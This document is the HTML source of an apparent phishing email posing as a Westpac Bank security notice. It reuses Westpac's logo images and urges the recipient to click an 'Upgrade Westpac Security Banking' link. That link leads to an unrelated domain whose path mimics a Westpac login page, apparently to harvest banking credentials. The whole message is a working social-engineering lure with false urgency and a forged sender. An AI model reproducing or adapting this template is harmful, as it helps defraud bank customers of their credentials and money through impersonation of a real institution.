<html>

<head>

<meta name="GENERATOR" content="Microsoft FrontPage 5.0">

<meta name="ProgId" content="FrontPage.Editor.Document">

<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">

<title>Dear Westpac Bank Customer</title>

</head>

<body>

<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="147">

<tr>

<td width="100%" height="14" colspan="3"> <img src="http://www.westpac.com.au/images/aln_westpac.gif" width="150" height="44"></td>

</tr>

<tr>

<td width="100%" height="1" width="100%"" colspan="3"><img src="http://www.westpac.com.au/images/atn_tab_spacer.gif" alt="" height="21" width="100%"></td>

</tr>

<tr>

<td width="1%" height="176"> </td>

<td width="98%" height="176">

<font face="Arial" style="font-size: 9pt" color="#666666"><br>Dear Westpac Customer,</font><p align="left">

<font face="Arial" size="2" color="#666666">At Westpac, we

are passionate about helping you achieve your financial aspirations and

protect your confidential information. We understand that the privacy and

confidentiality of personal or business information is important to our

customers. That's why we are committed to safeguarding the personal and

financial details you provide us.</font></p>

<p align="left"><font face="Arial" size="2" color="#666666">Regarding our commitment to

increase security level, we need your participation to take a part with us.

Our security system and technology indicated that your security online

banking is not upgraded yet. Please click the following below to increase

your security level :</font></p>

<p align="center"><b><font face="Arial" size="2"><a href="http://attractiveadults.com/audios/online.westpac.com.au/esis/Login/">

<font color="#7E9BE5">Upgrade Westpac Security Banking</font></a></font></b></p>

<p align="left"><font face="Arial" size="2" color="#666666">We see corporate responsibility

as being fundamentally about 'doing the right thing'. Right by our own

people, right by our customers, right by the community and right by the

environment. Thank you for banking with us.</font></p>

<p align="left"><font face="Arial" size="2"><font color="#666666"><br>Security Advisor<br>

WESTPAC Banking Group Limited.<br>

Australian and New Zealand in Conjunction.</font><br><br></font></td>

<td width="1%" height="176"> </td>

</tr>

<tr>

<td width="100%" height="39" colspan="3"><img src="http://www.westpac.com.au/images/aon_footer_640px.gif" alt="" height="35" width="100%"></td>

</tr>

</table>

</body>

</html>